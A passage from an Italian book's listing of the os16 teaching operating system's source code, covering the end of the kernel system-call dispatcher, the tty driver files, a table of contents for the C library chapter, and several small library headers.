1950046         sysmsg_time_t       time;
1950047         sysmsg_uarea_t      uarea;
1950048         sysmsg_umask_t      umask;
1950049         sysmsg_umount_t     umount;
1950050         sysmsg_unlink_t     unlink;
1950051         sysmsg_wait_t       wait;
1950052         sysmsg_write_t      write;
1950053         sysmsg_zpchar_t     zpchar;
1950054         sysmsg_zpstring_t   zpstring;
1950055     } msg;
1950056     //
1950057     // Verify if the system call was emitted from kernel code.
1950058     // The kernel can emit only some particular system call:
1950059     //   SYS_NULL, to let other processes run;
1950060     //   SYS_FORK, to let fork itself;
1950061     //   SYS_EXEC, to replace a forked copy of itself.
1950062     //
1950063     if (pid == 0)
1950064       {
1950065         //
1950066         // This is the kernel code!
1950067         //
1950068         if (   syscallnr != SYS_0
1950069             && syscallnr != SYS_FORK
1950070             && syscallnr != SYS_EXEC)
1950071           {
```

```
1950072             k_printf ("kernel panic: the system call %i ", syscallnr);
1950073             k_printf ("was received while running in kernel space!\n");
1950074           }
1950075       }
1950076     //
1950077     // Entering a system call, the kernel variable 'errno' must be
1950078     // reset, otherwise, a previous kernel code error might be returned
1950079     // to the applications.
1950080     //
1950081     errno    = 0;
1950082     errln    = 0;
1950083     errfn[0] = 0;
1950084     //
1950085     // Get message.
1950086     //
1950087     dev_io (pid, DEV_MEM, DEV_READ, msg_addr, &msg, msg_size, NULL);
1950088     //
1950089     // Do the request from the received system call.
1950090     //
1950091     switch (syscallnr)
1950092       {
1950093         case SYS_0:
1950094             break;
1950095         case SYS_CHDIR:
1950096             msg.chdir.ret         = path_chdir (pid, msg.chdir.path);
1950097             sysroutine_error_back (&msg.chdir.errno, &msg.chdir.errln,
1950098                                    msg.chdir.errfn);
1950099             break;
1950100         case SYS_CHMOD:
1950101             msg.chmod.ret         = path_chmod (pid, msg.chmod.path,
1950102                                                 msg.chmod.mode);
1950103             sysroutine_error_back (&msg.chmod.errno, &msg.chmod.errln,
1950104                                    msg.chmod.errfn);
1950105             break;
1950106         case SYS_CHOWN:
1950107             msg.chown.ret         = path_chown (pid, msg.chown.path,
1950108                                                 msg.chown.uid,
1950109                                                 msg.chown.gid);
1950110             sysroutine_error_back (&msg.chown.errno, &msg.chown.errln,
1950111                                    msg.chown.errfn);
1950112             break;
1950113         case SYS_CLOCK:
1950114             msg.clock.ret         = k_clock ();
1950115             break;
1950116         case SYS_CLOSE:
1950117             msg.close.ret         = fd_close (pid, msg.close.fdn);
1950118             sysroutine_error_back (&msg.close.errno, &msg.close.errln,
1950119                                    msg.close.errfn);
1950120             break;
1950121         case SYS_DUP:
1950122             msg.dup.ret           = fd_dup (pid, msg.dup.fdn_old, 0);
1950123             sysroutine_error_back (&msg.dup.errno, &msg.dup.errln,
```

```
1950124                                 msg.dup.errfn);
1950125             break;
1950126         case SYS_DUP2:
1950127             msg.dup2.ret           = fd_dup2 (pid, msg.dup2.fdn_old,
1950128                                               msg.dup2.fdn_new);
1950129             sysroutine_error_back (&msg.dup2.errno, &msg.dup2.errln,
1950130                                 msg.dup2.errfn);
1950131             break;
1950132         case SYS_EXEC:
1950133             msg.exec.ret           = proc_sys_exec (sp, segment_d, pid,
1950134                                                     msg.exec.path,
1950135                                                     msg.exec.argc,
1950136                                                     msg.exec.arg_data,
1950137                                                     msg.exec.envc,
1950138                                                     msg.exec.env_data);
1950139             msg.exec.uid           = proc_table[pid].uid;
1950140             msg.exec.euid          = proc_table[pid].euid;
1950141             sysroutine_error_back (&msg.exec.errno, &msg.exec.errln,
1950142                                 msg.exec.errfn);
1950143             break;
1950144         case SYS_EXIT:
1950145             if (pid == 0)
1950146               {
1950147                 k_printf ("kernel alert: "
1950148                           "the kernel cannot exit!\n");
1950149               }
1950150             else
1950151               {
1950152                 proc_sys_exit (pid, msg.exit.status);
1950153               }
1950154             break;
1950155         case SYS_FCHMOD:
1950156             msg.fchmod.ret         = fd_chmod (pid, msg.fchmod.fdn,
1950157                                                msg.fchmod.mode);
1950158             sysroutine_error_back (&msg.fchmod.errno, &msg.fchmod.errln,
1950159                                 msg.fchmod.errfn);
1950160             break;
1950161         case SYS_FCHOWN:
1950162             msg.fchown.ret         = fd_chown (pid, msg.fchown.fdn,
1950163                                                msg.fchown.uid,
1950164                                                msg.fchown.gid);
1950165             sysroutine_error_back (&msg.fchown.errno, &msg.fchown.errln,
1950166                                 msg.fchown.errfn);
1950167             break;
1950168         case SYS_FCNTL:
1950169             msg.fcntl.ret          = fd_fcntl (pid, msg.fcntl.fdn,
1950170                                                msg.fcntl.cmd,
1950171                                                msg.fcntl.arg);
1950172             sysroutine_error_back (&msg.fcntl.errno, &msg.fcntl.errln,
1950173                                 msg.fcntl.errfn);
1950174             break;
1950175         case SYS_FORK:
```

```
1950176             msg.fork.ret           = proc_sys_fork (pid, *sp);
1950177             sysroutine_error_back (&msg.fork.errno, &msg.fork.errln,
1950178                                    msg.fork.errfn);
1950179             break;
1950180         case SYS_FSTAT:
1950181             msg.fstat.ret          = fd_stat (pid, msg.fstat.fdn,
1950182                                               &msg.fstat.stat);
1950183             sysroutine_error_back (&msg.fstat.errno, &msg.fstat.errln,
1950184                                    msg.fstat.errfn);
1950185             break;
1950186         case SYS_KILL:
1950187             msg.kill.ret           = proc_sys_kill (pid, msg.kill.pid,
1950188                                                     msg.kill.signal);
1950189             sysroutine_error_back (&msg.kill.errno, &msg.kill.errln,
1950190                                    msg.kill.errfn);
1950191             break;
1950192         case SYS_LINK:
1950193             msg.link.ret           = path_link (pid, msg.link.path_old,
1950194                                                 msg.link.path_new);
1950195             sysroutine_error_back (&msg.link.errno, &msg.link.errln,
1950196                                    msg.link.errfn);
1950197             break;
1950198         case SYS_LSEEK:
1950199             msg.lseek.ret          = fd_lseek (pid, msg.lseek.fdn,
1950200                                                msg.lseek.offset,
1950201                                                msg.lseek.whence);
1950202             sysroutine_error_back (&msg.lseek.errno, &msg.lseek.errln,
1950203                                    msg.lseek.errfn);
1950204             break;
1950205         case SYS_MKDIR:
1950206             msg.mkdir.ret          = path_mkdir (pid, msg.mkdir.path,
1950207                                                  msg.mkdir.mode);
1950208             sysroutine_error_back (&msg.mkdir.errno, &msg.mkdir.errln,
1950209                                    msg.mkdir.errfn);
1950210             break;
1950211         case SYS_MKNOD:
1950212             msg.mknod.ret          = path_mknod (pid, msg.mknod.path,
1950213                                                  msg.mknod.mode,
1950214                                                  msg.mknod.device);
1950215             sysroutine_error_back (&msg.mknod.errno, &msg.mknod.errln,
1950216                                    msg.mknod.errfn);
1950217             break;
1950218         case SYS_MOUNT:
1950219             msg.mount.ret          = path_mount (pid, msg.mount.path_dev,
1950220                                                  msg.mount.path_mnt,
1950221                                                  msg.mount.options);
1950222             sysroutine_error_back (&msg.mount.errno, &msg.mount.errln,
1950223                                    msg.mount.errfn);
1950224             break;
1950225         case SYS_OPEN:
1950226             msg.open.ret           = fd_open (pid, msg.open.path,
1950227                                               msg.open.flags,
```

```
1950228                                             msg.open.mode);
1950229             sysroutine_error_back (&msg.open.errno, &msg.open.errln,
1950230                                    msg.open.errfn);
1950231             break;
1950232         case SYS_PGRP:
1950233             proc_table[pid].pgrp          = pid;
1950234             break;
1950235         case SYS_READ:
1950236             msg.read.ret          = fd_read (pid, msg.read.fdn,
1950237                                             msg.read.buffer,
1950238                                             msg.read.count,
1950239                                             &msg.read.eof);
1950240             sysroutine_error_back (&msg.read.errno, &msg.read.errln,
1950241                                    msg.read.errfn);
1950242             break;
1950243         case SYS_SETEUID:
1950244             msg.seteuid.ret       = proc_sys_seteuid (pid,
1950245                                                      msg.seteuid.euid);
1950246             msg.seteuid.euid      = proc_table[pid].euid;
1950247             sysroutine_error_back (&msg.seteuid.errno, &msg.seteuid.errln,
1950248                                    msg.seteuid.errfn);
1950249             break;
1950250         case SYS_SETUID:
1950251             msg.setuid.ret        = proc_sys_setuid (pid,
1950252                                                     msg.setuid.euid);
1950253             msg.setuid.uid        = proc_table[pid].uid;
1950254             msg.setuid.euid       = proc_table[pid].euid;
1950255             msg.setuid.suid       = proc_table[pid].suid;
1950256             sysroutine_error_back (&msg.setuid.errno, &msg.setuid.errln,
1950257                                    msg.setuid.errfn);
1950258             break;
1950259         case SYS_SIGNAL:
1950260             msg.signal.ret        = proc_sys_signal (pid,
1950261                                                     msg.signal.signal,
1950262                                                    msg.signal.handler);
1950263             sysroutine_error_back (&msg.signal.errno, &msg.signal.errln,
1950264                                    msg.signal.errfn);
1950265             break;
1950266         case SYS_SLEEP:
1950267             proc_table[pid].status        = PROC_SLEEPING;
1950268             proc_table[pid].ret           = 0;
1950269             proc_table[pid].wakeup_events = msg.sleep.events;
1950270             proc_table[pid].wakeup_signal = msg.sleep.signal;
1950271             proc_table[pid].wakeup_timer  = msg.sleep.seconds;
1950272             break;
1950273         case SYS_STAT:
1950274             msg.stat.ret          = path_stat (pid, msg.stat.path,
1950275                                               &msg.stat.stat);
1950276             sysroutine_error_back (&msg.stat.errno, &msg.stat.errln,
1950277                                    msg.stat.errfn);
1950278             break;
1950279         case SYS_STIME:
```

```
1950280             msg.stime.ret         = k_stime (&msg.stime.timer);
1950281             break;
1950282         case SYS_TIME:
1950283             msg.time.ret          = k_time (NULL);
1950284             break;
1950285         case SYS_UAREA:
1950286             msg.uarea.uid         = proc_table[pid].uid;
1950287             msg.uarea.euid        = proc_table[pid].euid;
1950288             msg.uarea.pid         = pid;
1950289             msg.uarea.ppid        = proc_table[pid].ppid;
1950290             msg.uarea.pgrp        = proc_table[pid].pgrp;
1950291             msg.uarea.umask       = proc_table[pid].umask;
1950292             strncpy (msg.uarea.path_cwd,
1950293                      proc_table[pid].path_cwd, PATH_MAX);
1950294             break;
1950295         case SYS_UMASK:
1950296             msg.umask.ret         = proc_table[pid].umask;
1950297             proc_table[pid].umask = (msg.umask.umask & 00777);
1950298             break;
1950299         case SYS_UMOUNT:
1950300             msg.umount.ret        = path_umount (pid,
1950301                                                  msg.umount.path_mnt);
1950302             sysroutine_error_back (&msg.umount.errno, &msg.umount.errln,
1950303                                    msg.umount.errfn);
1950304             break;
1950305         case SYS_UNLINK:
1950306             msg.unlink.ret        = path_unlink (pid, msg.unlink.path);
1950307             sysroutine_error_back (&msg.unlink.errno, &msg.unlink.errln,
1950308                                    msg.unlink.errfn);
1950309             break;
1950310         case SYS_WAIT:
1950311             msg.wait.ret          = proc_sys_wait (pid,
1950312                                                    &msg.wait.status);
1950313             sysroutine_error_back (&msg.wait.errno, &msg.wait.errln,
1950314                                    msg.wait.errfn);
1950315             break;
1950316         case SYS_WRITE:
1950317             msg.write.ret         = fd_write (pid, msg.write.fdn,
1950318                                               msg.write.buffer,
1950319                                               msg.write.count);
1950320             sysroutine_error_back (&msg.write.errno, &msg.write.errln,
1950321                                    msg.write.errfn);
1950322             break;
1950323         case SYS_ZPCHAR:
1950324             dev_io (pid, DEV_TTY, DEV_WRITE, 0L, &msg.zpchar.c,
1950325                     1, NULL);
1950326             break;
1950327         case SYS_ZPSTRING:
1950328             dev_io (pid, DEV_TTY, DEV_WRITE, 0L,
1950329                     msg.zpstring.string,
1950330                     strlen (msg.zpstring.string), NULL);
1950331             break;
```

```
1950332         default:
1950333             k_printf ("kernel alert: unknown system call %i!\n",
1950334                       syscallnr);
1950335             break;
1950336       }
1950337     //
1950338     // Return value with a message back.
1950339     //
1950340     dev_io (pid, DEV_MEM, DEV_WRITE, msg_addr, &msg, msg_size, NULL);
1950341     //
1950342     // Continue with the scheduler.
1950343     //
1950344     proc_scheduler (sp, segment_d);
1950345   }
1950346   //----------------------------------------------------------------------
1950347   static void
1950348   sysroutine_error_back (int *number, int *line, char *file_name)
1950349   {
1950350     *number = errno;
1950351     *line   = errln;
1950352     strncpy (file_name, errfn, PATH_MAX);
1950353     file_name[PATH_MAX-1] = 0;
1950354   }
```

105.10 os16: «kernel/tty.h»

Si veda la sezione 104.9.

```
1960001   #ifndef _KERNEL_TTY_H
1960002   #define _KERNEL_TTY_H  1
1960003
1960004   #include <stddef.h>
1960005   #include <stdint.h>
1960006   #include <sys/types.h>
1960007   #include <kernel/ibm_i86.h>
1960008
1960009   //----------------------------------------------------------------------
1960010   #define         TTYS_CONSOLE    IBM_I86_VIDEO_PAGES
1960011   #define         TTYS_SERIAL     0
1960012   #define         TTYS_TOTAL      (TTYS_CONSOLE + TTYS_SERIAL)
1960013   //----------------------------------------------------------------------
1960014   #define         TTY_OK          0
1960015   #define         TTY_LOST_KEY    1
1960016   //----------------------------------------------------------------------
1960017   typedef struct {
1960018       dev_t       device;
1960019       pid_t       pgrp;            // Process group.
1960020       int         key;             // Last pressed key.
1960021       int         status;          // 0 = ok, 1 = lost typed character.
1960022   } tty_t;
1960023   //----------------------------------------------------------------------
```

```
1960024 extern tty_t tty_table[TTYS_TOTAL];
1960025 //----------------------------------------------------------------------
1960026 tty_t *tty_reference (dev_t device);
1960027 dev_t  tty_console   (dev_t device);
1960028 int    tty_read      (dev_t device);
1960029 void   tty_write     (dev_t device, int c);
1960030 void   tty_init      (void);
1960031
1960032 #endif
```

105.10.1 kernel/tty/tty_console.c

Si veda la sezione 104.9.

```
1970001 #include <sys/os16.h>
1970002 #include <kernel/tty.h>
1970003 //----------------------------------------------------------------------
1970004 dev_t
1970005 tty_console (dev_t device)
1970006 {
1970007     static dev_t device_active = DEV_CONSOLE0;  // First time.
1970008            dev_t device_previous;
1970009     //
1970010     // Check if it required only the current device.
1970011     //
1970012     if (device == 0)
1970013       {
1970014         return (device_active);
1970015       }
1970016     //
1970017     // Fix if the device is not valid.
1970018     //
1970019     if (device > DEV_CONSOLE3 || device < DEV_CONSOLE0)
1970020       {
1970021         device = DEV_CONSOLE0;
1970022       }
1970023     //
1970024     // Update.
1970025     //
1970026     device_previous = device_active;
1970027     device_active   = device;
1970028     //
1970029     // Switch.
1970030     //
1970031     con_select (device_active & 0x00FF);
1970032     //
1970033     // Return previous device value.
1970034     //
1970035     return (device_previous);
1970036 }
```

105.10.2 kernel/tty/tty_init.c

Si veda la sezione 104.9.

```
1980001 #include <sys/os16.h>
1980002 #include <kernel/tty.h>
1980003 //----------------------------------------------------------------------
1980004 void
1980005 tty_init (void)
1980006 {
1980007     int page;   // console page.
1980008     //
1980009     // Console initialization: console pages correspond to the first
1980010     // terminal items.
1980011     //
1980012     for (page = 0; page < TTYS_CONSOLE; page++)
1980013       {
1980014         tty_table[page].device = DEV_CONSOLE0 + page;
1980015         tty_table[page].pgrp   = 0;
1980016         tty_table[page].key    = 0;
1980017         tty_table[page].status = TTY_OK;
1980018       }
1980019     //
1980020     // Set video mode.
1980021     //
1980022     con_init ();
1980023     //
1980024     // Select the first console.
1980025     //
1980026     tty_console (DEV_CONSOLE0);
1980027     //
1980028     // Nothing else to configure (only consoles are available).
1980029     //
1980030     return;
1980031 }
```

105.10.3 kernel/tty/tty_read.c

Si veda la sezione 104.9.

```
1990001 #include <sys/os16.h>
1990002 #include <kernel/tty.h>
1990003 #include <kernel/k_libc.h>
1990004 //----------------------------------------------------------------------
1990005 int
1990006 tty_read (dev_t device)
1990007 {
1990008     tty_t   *tty;
1990009     int      key;
1990010     //
1990011     tty = tty_reference (device);
```

```
1990012     if (tty == NULL)
1990013       {
1990014         k_printf ("kernel alert: cannot find terminal device "
1990015                   "0x%04x!\n", (int) device);
1990016         //
1990017         return (0);
1990018       }
1990019     //
1990020     // Read key and remove from the source.
1990021     //
1990022     key      = tty->key;
1990023     tty->key = 0;
1990024     //
1990025     // Return the key.
1990026     //
1990027     return (key);
1990028
1990029 }
```

105.10.4 kernel/tty/tty_reference.c

Si veda la sezione 104.9.

```
2000001 #include <kernel/tty.h>
2000002 //----------------------------------------------------------------------
2000003 tty_t *
2000004 tty_reference (dev_t device)
2000005 {
2000006     int t;              // Terminal index.
2000007     //
2000008     // If device is zero, a reference to the whole table is returned.
2000009     //
2000010     if (device == 0)
2000011       {
2000012         return (tty_table);
2000013       }
2000014     //
2000015     // Otherwise, a scan is made to find the selected device.
2000016     //
2000017     for (t = 0; t < TTYS_TOTAL; t++)
2000018       {
2000019         if (tty_table[t].device == device)
2000020           {
2000021             //
2000022             // Device found. Return the pointer.
2000023             //
2000024             return (&tty_table[t]);
2000025           }
2000026       }
2000027     //
2000028     // No device found!
```

```
2000029     //
2000030     return (NULL);
2000031 }
```

105.10.5 kernel/tty/tty_table.c

Si veda la sezione 104.9.

```
2010001 #include <kernel/tty.h>
2010002 //----------------------------------------------------------------------
2010003 tty_t tty_table[TTYS_TOTAL];
```

105.10.6 kernel/tty/tty_write.c

Si veda la sezione 104.9.

```
2020001 #include <sys/os16.h>
2020002 #include <kernel/tty.h>
2020003 //----------------------------------------------------------------------
2020004 void
2020005 tty_write (dev_t device, int c)
2020006 {
2020007     int   console;
2020008     //
2020009     if ((device & 0xFF00) == (DEV_CONSOLE_MAJOR << 8))
2020010       {
2020011         console = (device & 0x00FF);
2020012         con_putc (console, c);
2020013       }
2020014 }
```

Capitolo 106

Sorgenti della libreria generale

106.1 os16: file isolati della directory «lib/» 6236

106.1.1 lib/NULL.h 6237
106.1.2 lib/SEEK.h 6237
106.1.3 lib/_Bool.h 6237
106.1.4 lib/clock_t.h 6237
106.1.5 lib/const.h 6238
106.1.6 lib/ctype.h 6238
106.1.7 lib/inttypes.h 6239
106.1.8 lib/limits.h 6242
106.1.9 lib/ptrdiff_t.h 6243
106.1.10 lib/restrict.h 6243
106.1.11 lib/size_t.h 6243
106.1.12 lib/stdarg.h 6244
106.1.13 lib/stdbool.h 6244
106.1.14 lib/stddef.h 6244
106.1.15 lib/stdint.h 6245
106.1.16 lib/time_t.h 6247
106.1.17 lib/wchar_t.h 6247

106.2 os16: «lib/dirent.h» 6247

106.2.1 lib/dirent/DIR.c 6248
106.2.2 lib/dirent/closedir.c 6249
106.2.3 lib/dirent/opendir.c 6250
106.2.4 lib/dirent/readdir.c 6252
106.2.5 lib/dirent/rewinddir.c 6253

106.3 os16: «lib/errno.h» 6254

106.3.1 lib/errno/errno.c 6259

106.4 os16: «lib/fcntl.h» 6259

106.4.1 lib/fcntl/creat.c 6261
106.4.2 lib/fcntl/fcntl.c 6261
106.4.3 lib/fcntl/open.c 6263

106.5 os16: «lib/grp.h» 6263

106.5.1 lib/grp/getgrgid.c 6264
106.5.2 lib/grp/getgrnam.c 6264

106.6 os16: «lib/libgen.h» 6265

106.6.1 lib/libgen/basename.c 6265
106.6.2 lib/libgen/dirname.c 6266

106.7 os16: «lib/pwd.h» 6268

106.7.1 lib/pwd/pwent.c 6268

106.8 os16: «lib/signal.h» 6270

106.8.1 lib/signal/kill.c 6271
106.8.2 lib/signal/signal.c 6272

106.9 os16: «lib/stdio.h» 6273

106.9.1 lib/stdio/FILE.c 6275
106.9.2 lib/stdio/clearerr.c 6275
106.9.3 lib/stdio/fclose.c 6275
106.9.4 lib/stdio/feof.c 6276
106.9.5 lib/stdio/ferror.c 6276
106.9.6 lib/stdio/fflush.c 6276
106.9.7 lib/stdio/fgetc.c 6277
106.9.8 lib/stdio/fgetpos.c 6277
106.9.9 lib/stdio/fgets.c 6278
106.9.10 lib/stdio/fileno.c 6279
106.9.11 lib/stdio/fopen.c 6279
106.9.12 lib/stdio/fprintf.c 6281
106.9.13 lib/stdio/fputc.c 6281
106.9.14 lib/stdio/fputs.c 6282
106.9.15 lib/stdio/fread.c 6282
106.9.16 lib/stdio/freopen.c 6283
106.9.17 lib/stdio/fscanf.c 6284
106.9.18 lib/stdio/fseek.c 6284
106.9.19 lib/stdio/fseeko.c 6284
106.9.20 lib/stdio/fsetpos.c 6285
106.9.21 lib/stdio/ftell.c 6285
106.9.22 lib/stdio/ftello.c 6286
106.9.23 lib/stdio/fwrite.c 6286
106.9.24 lib/stdio/getchar.c 6286
106.9.25 lib/stdio/gets.c 6287
106.9.26 lib/stdio/perror.c 6288
106.9.27 lib/stdio/printf.c 6289
106.9.28 lib/stdio/puts.c 6289
106.9.29 lib/stdio/rewind.c 6290

106.9.30 lib/stdio/scanf.c 6290
106.9.31 lib/stdio/setbuf.c 6290
106.9.32 lib/stdio/setvbuf.c 6291
106.9.33 lib/stdio/snprintf.c 6291
106.9.34 lib/stdio/sprintf.c 6291
106.9.35 lib/stdio/sscanf.c 6292
106.9.36 lib/stdio/vfprintf.c 6292
106.9.37 lib/stdio/vfscanf.c 6293
106.9.38 lib/stdio/vfsscanf.c 6293
106.9.39 lib/stdio/vprintf.c 6319
106.9.40 lib/stdio/vscanf.c 6320
106.9.41 lib/stdio/vsnprintf.c 6321
106.9.42 lib/stdio/vsprintf.c 6339
106.9.43 lib/stdio/vsscanf.c 6340

106.10 os16: «lib/stdlib.h» 6340

106.10.1 lib/stdlib/_Exit.c 6342
106.10.2 lib/stdlib/abort.c 6342
106.10.3 lib/stdlib/abs.c 6343
106.10.4 lib/stdlib/alloc.c 6344
106.10.5 lib/stdlib/atexit.c 6348
106.10.6 lib/stdlib/atoi.c 6349
106.10.7 lib/stdlib/atol.c 6349
106.10.8 lib/stdlib/div.c 6350
106.10.9 lib/stdlib/environment.c 6351
106.10.10 lib/stdlib/exit.c 6352
106.10.11 lib/stdlib/getenv.c 6353
106.10.12 lib/stdlib/labs.c 6354
106.10.13 lib/stdlib/ldiv.c 6354
106.10.14 lib/stdlib/putenv.c 6355
106.10.15 lib/stdlib/qsort.c 6357
106.10.16 lib/stdlib/rand.c 6359
106.10.17 lib/stdlib/setenv.c 6360
106.10.18 lib/stdlib/strtol.c 6362
106.10.19 lib/stdlib/strtoul.c 6366
106.10.20 lib/stdlib/unsetenv.c 6367

106.11 os16: «lib/string.h» 6368

106.11.1 lib/string/memccpy.c 6369
106.11.2 lib/string/memchr.c 6369

106.11.3 lib/string/memcmp.c 6370
106.11.4 lib/string/memcpy.c 6370
106.11.5 lib/string/memmove.c 6371
106.11.6 lib/string/memset.c 6372
106.11.7 lib/string/strcat.c 6372
106.11.8 lib/string/strchr.c 6372
106.11.9 lib/string/strcmp.c 6373
106.11.10 lib/string/strcoll.c 6374
106.11.11 lib/string/strcpy.c 6374
106.11.12 lib/string/strcspn.c 6374
106.11.13 lib/string/strdup.c 6375
106.11.14 lib/string/strerror.c 6376
106.11.15 lib/string/strlen.c 6378
106.11.16 lib/string/strncat.c 6378
106.11.17 lib/string/strncmp.c 6379
106.11.18 lib/string/strncpy.c 6379
106.11.19 lib/string/strpbrk.c 6380
106.11.20 lib/string/strrchr.c 6380
106.11.21 lib/string/strspn.c 6381
106.11.22 lib/string/strstr.c 6381
106.11.23 lib/string/strtok.c 6382
106.11.24 lib/string/strxfrm.c 6384

106.12 os16: «lib/sys/os16.h» 6385

106.12.1 lib/sys/os16/_bp.s 6394
106.12.2 lib/sys/os16/_cs.s 6395
106.12.3 lib/sys/os16/_ds.s 6395
106.12.4 lib/sys/os16/_es.s 6395
106.12.5 lib/sys/os16/_seg_d.s 6396
106.12.6 lib/sys/os16/_seg_i.s 6396
106.12.7 lib/sys/os16/_sp.s 6396
106.12.8 lib/sys/os16/_ss.s 6397
106.12.9 lib/sys/os16/heap_clear.c 6397
106.12.10 lib/sys/os16/heap_min.c 6397
106.12.11 lib/sys/os16/input_line.c 6398
106.12.12 lib/sys/os16/mount.c 6399
106.12.13 lib/sys/os16/namep.c 6400
106.12.14 lib/sys/os16/process_info.c 6403
106.12.15 lib/sys/os16/sys.s 6403
106.12.16 lib/sys/os16/umount.c 6404

106.12.17 lib/sys/os16/z_perror.c 6404
106.12.18 lib/sys/os16/z_printf.c 6405
106.12.19 lib/sys/os16/z_putchar.c 6405
106.12.20 lib/sys/os16/z_puts.c 6406
106.12.21 lib/sys/os16/z_vprintf.c 6406

106.13 os16: «lib/sys/stat.h» 6406

106.13.1 lib/sys/stat/chmod.c 6408
106.13.2 lib/sys/stat/fchmod.c 6409
106.13.3 lib/sys/stat/fstat.c 6409
106.13.4 lib/sys/stat/mkdir.c 6410
106.13.5 lib/sys/stat/mknod.c 6411
106.13.6 lib/sys/stat/stat.c 6412
106.13.7 lib/sys/stat/umask.c 6413

106.14 os16: «lib/sys/types.h» 6413

106.14.1 lib/sys/types/major.c 6414
106.14.2 lib/sys/types/makedev.c 6414
106.14.3 lib/sys/types/minor.c 6414

106.15 os16: «lib/sys/wait.h» 6415

106.15.1 lib/sys/wait/wait.c 6415

106.16 os16: «lib/time.h» 6416

106.16.1 lib/time/asctime.c 6416
106.16.2 lib/time/clock.c 6419
106.16.3 lib/time/gmtime.c 6419
106.16.4 lib/time/mktime.c 6423
106.16.5 lib/time/stime.c 6425
106.16.6 lib/time/time.c 6426

106.17 os16: «lib/unistd.h» 6426

106.17.1 lib/unistd/_exit.c 6427
106.17.2 lib/unistd/access.c 6428
106.17.3 lib/unistd/chdir.c 6429
106.17.4 lib/unistd/chown.c 6430
106.17.5 lib/unistd/close.c 6430
106.17.6 lib/unistd/dup.c 6431
106.17.7 lib/unistd/dup2.c 6431
106.17.8 lib/unistd/environ.c 6432
106.17.9 lib/unistd/execl.c 6432

106.17.10 lib/unistd/execle.c 6433
106.17.11 lib/unistd/execlp.c 6433
106.17.12 lib/unistd/execv.c 6434
106.17.13 lib/unistd/execve.c 6435
106.17.14 lib/unistd/execvp.c 6436
106.17.15 lib/unistd/fchdir.c 6437
106.17.16 lib/unistd/fchown.c 6437
106.17.17 lib/unistd/fork.c 6438
106.17.18 lib/unistd/getcwd.c 6439
106.17.19 lib/unistd/geteuid.c 6440
106.17.20 lib/unistd/getopt.c 6440
106.17.21 lib/unistd/getpgrp.c 6445
106.17.22 lib/unistd/getpid.c 6445
106.17.23 lib/unistd/getppid.c 6446
106.17.24 lib/unistd/getuid.c 6446
106.17.25 lib/unistd/isatty.c 6446
106.17.26 lib/unistd/link.c 6447
106.17.27 lib/unistd/lseek.c 6448
106.17.28 lib/unistd/read.c 6448
106.17.29 lib/unistd/rmdir.c 6450
106.17.30 lib/unistd/seteuid.c 6451
106.17.31 lib/unistd/setpgrp.c 6451
106.17.32 lib/unistd/setuid.c 6452
106.17.33 lib/unistd/sleep.c 6452
106.17.34 lib/unistd/ttyname.c 6453
106.17.35 lib/unistd/unlink.c 6454
106.17.36 lib/unistd/write.c 6455

106.18 os16: «lib/utime.h» 6456

106.18.1 lib/utime/utime.c 6456

106.1 os16: file isolati della directory «lib/»

106.1.1 lib/NULL.h

Si veda la sezione 102.2.

```
2030001 #ifndef _NULL_H
2030002 #define _NULL_H      1
2030003
2030004 #define NULL 0
2030005
2030006 #endif
```

106.1.2 lib/SEEK.h

Si veda la sezione 102.2.

```
2040001 #ifndef _SEEK_H
2040002 #define _SEEK_H      1
2040003
2040004 //----------------------------------------------------------------------
2040005 // These values are used inside <stdio.h> and <unistd.h>
2040006 //----------------------------------------------------------------------
2040007 #define SEEK_SET        0   // From the start.
2040008 #define SEEK_CUR        1   // From current position.
2040009 #define SEEK_END        2   // From the end.
2040010 //----------------------------------------------------------------------
2040011
2040012 #endif
```

106.1.3 lib/_Bool.h

Si veda la sezione 102.2.

```
2050001 #ifndef __BOOL_H
2050002 #define __BOOL_H      1
2050003
2050004 typedef unsigned char _Bool;
2050005
2050006 #endif
```

106.1.4 lib/clock_t.h

Si veda la sezione 102.2.

```
2060001 #ifndef _CLOCK_T_H
2060002 #define _CLOCK_T_H       1
2060003
2060004 typedef unsigned long int clock_t;      // 32 bit unsigned int.
2060005
2060006 #endif
```

106.1.5 lib/const.h

Si veda la sezione 102.2.

```
2070001 #ifndef _CONST_H
2070002 #define _CONST_H        1
2070003
2070004 #define const
2070005
2070006 #endif
```

106.1.6 lib/ctype.h

Si veda la sezione 102.2.

```
2080001 #ifndef _CTYPE_H
2080002 #define _CTYPE_H       1
2080003 //----------------------------------------------------------------------
2080004
2080005 #include <NULL.h>
2080006 //----------------------------------------------------------------------
2080007 #define isblank(C)   ((int) (C == ' ' || C == '\t'))
2080008 #define isspace(C)   ((int) (C == ' ' \
2080009                             || C == '\f' \
2080010                             || C == '\n' \
2080011                             || C == '\n' \
2080012                             || C == '\r' \
2080013                             || C == '\t' \
2080014                             || C == '\v'))
2080015 #define isdigit(C)   ((int) (C >= '0' && C <= '9'))
2080016 #define isxdigit(C)  ((int) ((C >= '0' && C <= '9') \
2080017                              || (C >= 'A' && C <= 'F') \
2080018                              || (C >= 'a' && C <= 'f')))
2080019 #define isupper(C)   ((int) (C >= 'A' && C <= 'Z'))
2080020 #define islower(C)   ((int) (C >= 'a' && C <= 'z'))
2080021 #define iscntrl(C)   ((int) ((C >= 0x00 && C <= 0x1F) || C == 0x7F))
2080022 #define isgraph(C)   ((int) (C >= 0x21 && C <= 0x7E))
2080023 #define isprint(C)   ((int) (C >= 0x20 && C <= 0x7E))
2080024 #define isalpha(C)   (isupper (C) || islower (C))
2080025 #define isalnum(C)   (isalpha (C) || isdigit (C))
2080026 #define ispunct(C)   (isgraph (C) && (!isspace (C)) && (!isalnum (C)))
2080027 #define tolower(C)   (isupper (C) ? ((C) + 0x20) : (C))
2080028 #define toupper(C)   (islower (C) ? ((C) - 0x20) : (C))
2080029 #define toascii(C)   (C & 0x7F)
2080030 #define _tolower(C)  (isupper (C) ? ((C) + 0x20) : (C))
2080031 #define _toupper(C)  (islower (C) ? ((C) - 0x20) : (C))
2080032 //----------------------------------------------------------------------
2080033
2080034 #endif
```

106.1.7 lib/inttypes.h

Si veda la sezione 102.2.

```
2090001 #ifndef _INTTYPES_H
2090002 #define _INTTYPES_H      1
2090003 //----------------------------------------------------------------------
2090004 
2090005 #include <const.h>
2090006 #include <restrict.h>
2090007 #include <stdint.h>
2090008 #include <wchar_t.h>
2090009 //----------------------------------------------------------------------
2090010 typedef struct {
2090011     intmax_t quot;
2090012     intmax_t rem;
2090013 } imaxdiv_t;
2090014 //
2090015 imaxdiv_t imaxdiv    (intmax_t numer, intmax_t denom);
